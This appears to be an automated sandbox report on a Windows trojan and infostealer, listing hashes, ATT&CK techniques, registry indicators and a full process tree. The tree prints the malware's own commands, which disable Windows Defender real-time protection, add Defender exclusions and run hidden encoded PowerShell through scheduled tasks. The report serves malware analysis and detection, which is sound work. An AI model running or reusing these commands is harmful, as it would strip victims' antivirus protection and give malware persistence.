eab0692ed18990dcce2776eb44e8222a84fef4add05f14e147cccd6fb75a2676

Analysis

max time kernel
160s
max time network
165s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
13/10/2023, 12:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

7.3MB
MD5

904d3651e8a0c6addb68c55f5f6423fe
SHA1

0312beddc2d850a6eff632e0eef0342fec578df0
SHA256

eab0692ed18990dcce2776eb44e8222a84fef4add05f14e147cccd6fb75a2676
SHA512

db1dc5cba18f28b9c2353aea025b177706edbf4b7f1adc59a7851e36c718765273cea3a26418373b321e0f97826cfcfe4829d23003f6764b963ee830c59dc3bc
SSDEEP

196608:91OHGkcLOqiUQaE0Cu1taVEjccTAZVdxBL+EdIgaW1TZB:3Om1ObUI0Cu3aVUcckxHL+EGgB11B

Score

10^/10

evasion spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe

Windows security bypass 2 TTPs 40 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\FVKUhuDPdhuU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bxkFMxIkaLKvsYySXHR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bxkFMxIkaLKvsYySXHR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\nGefXJELgZYNbINr = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\nGefXJELgZYNbINr = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\nGefXJELgZYNbINr = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\FVKUhuDPdhuU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\VARbamLRQvUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\VARbamLRQvUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\JldfmzxQrcEFzqVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\nGefXJELgZYNbINr = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\qnDeHhAiU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\bFBtFBMfNKkwDJBVM = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\qnDeHhAiU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\IYXYxSyDCSxEC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\IYXYxSyDCSxEC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\bFBtFBMfNKkwDJBVM = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\JldfmzxQrcEFzqVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Executes dropped EXE 3 IoCs

pid	Process
2312	Install.exe
1588	Install.exe
1936	MSqbZbK.exe

Loads dropped DLL 8 IoCs

pid	Process
2408	file.exe
2312	Install.exe
2312	Install.exe
2312	Install.exe
2312	Install.exe
1588	Install.exe
1588	Install.exe
1588	Install.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Drops file in System32 directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	MSqbZbK.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	MSqbZbK.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	MSqbZbK.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\bfAOocXGMUXfZrANRn.job	schtasks.exe
File created	C:\Windows\Tasks\PRfNGHQBSEqJIjvSL.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2836	schtasks.exe
2624	schtasks.exe
2136	schtasks.exe
764	schtasks.exe
2752	schtasks.exe
1784	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
2924	powershell.EXE
2924	powershell.EXE
2924	powershell.EXE
2852	powershell.EXE
2852	powershell.EXE
2852	powershell.EXE
888	powershell.EXE
888	powershell.EXE
888	powershell.EXE
2256	powershell.EXE
2256	powershell.EXE
2256	powershell.EXE

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2924	powershell.EXE
Token: SeDebugPrivilege	2852	powershell.EXE
Token: SeDebugPrivilege	888	powershell.EXE
Token: SeDebugPrivilege	2256	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2408 wrote to memory of 2312	2408	file.exe	30
PID 2408 wrote to memory of 2312	2408	file.exe	30
PID 2408 wrote to memory of 2312	2408	file.exe	30
PID 2408 wrote to memory of 2312	2408	file.exe	30
PID 2408 wrote to memory of 2312	2408	file.exe	30
PID 2408 wrote to memory of 2312	2408	file.exe	30
PID 2408 wrote to memory of 2312	2408	file.exe	30
PID 2312 wrote to memory of 1588	2312	Install.exe	31
PID 2312 wrote to memory of 1588	2312	Install.exe	31
PID 2312 wrote to memory of 1588	2312	Install.exe	31
PID 2312 wrote to memory of 1588	2312	Install.exe	31
PID 2312 wrote to memory of 1588	2312	Install.exe	31
PID 2312 wrote to memory of 1588	2312	Install.exe	31
PID 2312 wrote to memory of 1588	2312	Install.exe	31
PID 1588 wrote to memory of 2700	1588	Install.exe	33
PID 1588 wrote to memory of 2700	1588	Install.exe	33
PID 1588 wrote to memory of 2700	1588	Install.exe	33
PID 1588 wrote to memory of 2700	1588	Install.exe	33
PID 1588 wrote to memory of 2700	1588	Install.exe	33
PID 1588 wrote to memory of 2700	1588	Install.exe	33
PID 1588 wrote to memory of 2700	1588	Install.exe	33
PID 1588 wrote to memory of 2640	1588	Install.exe	35
PID 1588 wrote to memory of 2640	1588	Install.exe	35
PID 1588 wrote to memory of 2640	1588	Install.exe	35
PID 1588 wrote to memory of 2640	1588	Install.exe	35
PID 1588 wrote to memory of 2640	1588	Install.exe	35
PID 1588 wrote to memory of 2640	1588	Install.exe	35
PID 1588 wrote to memory of 2640	1588	Install.exe	35
PID 2700 wrote to memory of 2488	2700	forfiles.exe	38
PID 2700 wrote to memory of 2488	2700	forfiles.exe	38
PID 2700 wrote to memory of 2488	2700	forfiles.exe	38
PID 2700 wrote to memory of 2488	2700	forfiles.exe	38
PID 2700 wrote to memory of 2488	2700	forfiles.exe	38
PID 2700 wrote to memory of 2488	2700	forfiles.exe	38
PID 2700 wrote to memory of 2488	2700	forfiles.exe	38
PID 2640 wrote to memory of 2776	2640	forfiles.exe	37
PID 2640 wrote to memory of 2776	2640	forfiles.exe	37
PID 2640 wrote to memory of 2776	2640	forfiles.exe	37
PID 2640 wrote to memory of 2776	2640	forfiles.exe	37
PID 2640 wrote to memory of 2776	2640	forfiles.exe	37
PID 2640 wrote to memory of 2776	2640	forfiles.exe	37
PID 2640 wrote to memory of 2776	2640	forfiles.exe	37
PID 2488 wrote to memory of 2652	2488	cmd.exe	40
PID 2488 wrote to memory of 2652	2488	cmd.exe	40
PID 2488 wrote to memory of 2652	2488	cmd.exe	40
PID 2488 wrote to memory of 2652	2488	cmd.exe	40
PID 2488 wrote to memory of 2652	2488	cmd.exe	40
PID 2488 wrote to memory of 2652	2488	cmd.exe	40
PID 2488 wrote to memory of 2652	2488	cmd.exe	40
PID 2776 wrote to memory of 1744	2776	cmd.exe	39
PID 2776 wrote to memory of 1744	2776	cmd.exe	39
PID 2776 wrote to memory of 1744	2776	cmd.exe	39
PID 2776 wrote to memory of 1744	2776	cmd.exe	39
PID 2776 wrote to memory of 1744	2776	cmd.exe	39
PID 2776 wrote to memory of 1744	2776	cmd.exe	39
PID 2776 wrote to memory of 1744	2776	cmd.exe	39
PID 1588 wrote to memory of 2624	1588	Install.exe	41
PID 1588 wrote to memory of 2624	1588	Install.exe	41
PID 1588 wrote to memory of 2624	1588	Install.exe	41
PID 1588 wrote to memory of 2624	1588	Install.exe	41
PID 1588 wrote to memory of 2624	1588	Install.exe	41
PID 1588 wrote to memory of 2624	1588	Install.exe	41
PID 1588 wrote to memory of 2624	1588	Install.exe	41
PID 2488 wrote to memory of 2644	2488	cmd.exe	43

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2408
- C:\Users\Admin\AppData\Local\Temp\7zS177.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2312
- - C:\Users\Admin\AppData\Local\Temp\7zS1D9E.tmp\Install.exe
    .\Install.exe /GdidPr "525403" /S
    3⤵
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:1588
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2700
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2488
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:2652
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:2644
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2640
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2776
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:1744
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:2456
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gZqWYNXmO" /SC once /ST 09:05:45 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:2624
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gZqWYNXmO"
      4⤵
      PID:2472
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gZqWYNXmO"
      4⤵
      PID:1992
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bfAOocXGMUXfZrANRn" /SC once /ST 12:03:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\bFBtFBMfNKkwDJBVM\lbcAncVeXdhVeeW\MSqbZbK.exe\" AU /Snsite_idCFY 525403 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:2136

C:\Windows\system32\taskeng.exe
taskeng.exe {1BB13F6A-B2E7-4E63-8D42-F51D089FF2D3} S-1-5-21-3185155662-718608226-894467740-1000:YETUIZPU\Admin:Interactive:[1]
1⤵
PID:2524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2924
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2852
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:2268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:888
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:2636
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2256
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1412

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1600

C:\Windows\system32\taskeng.exe
taskeng.exe {AEF84D54-3B20-49E8-B16F-91D38CC0BFEF} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1896
- C:\Users\Admin\AppData\Local\Temp\bFBtFBMfNKkwDJBVM\lbcAncVeXdhVeeW\MSqbZbK.exe
  C:\Users\Admin\AppData\Local\Temp\bFBtFBMfNKkwDJBVM\lbcAncVeXdhVeeW\MSqbZbK.exe AU /Snsite_idCFY 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:1936
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "grvkZbvWd" /SC once /ST 03:23:44 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:764
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "grvkZbvWd"
    3⤵
    PID:1968
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "grvkZbvWd"
    3⤵
    PID:1704
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
    3⤵
    PID:2396
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1260
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
    3⤵
    PID:1296
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1040
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gKCpJViFU" /SC once /ST 02:49:13 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:2752
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gKCpJViFU"
    3⤵
    PID:1312
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gKCpJViFU"
    3⤵
    PID:2908
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nGefXJELgZYNbINr" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2848
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nGefXJELgZYNbINr" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2124
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nGefXJELgZYNbINr" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1548
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nGefXJELgZYNbINr" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1608
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nGefXJELgZYNbINr" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1604
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nGefXJELgZYNbINr" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:604
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nGefXJELgZYNbINr" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2204
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nGefXJELgZYNbINr" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2420
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C copy nul "C:\Windows\Temp\nGefXJELgZYNbINr\fctGdmkh\ZhYvkVxtyKwoBLqI.wsf"
    3⤵
    PID:460
- - C:\Windows\SysWOW64\wscript.exe
    wscript "C:\Windows\Temp\nGefXJELgZYNbINr\fctGdmkh\ZhYvkVxtyKwoBLqI.wsf"
    3⤵
    - Modifies data under HKEY_USERS
    PID:928
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FVKUhuDPdhuU2" /t REG_DWORD /d 0 /reg:32
      4⤵
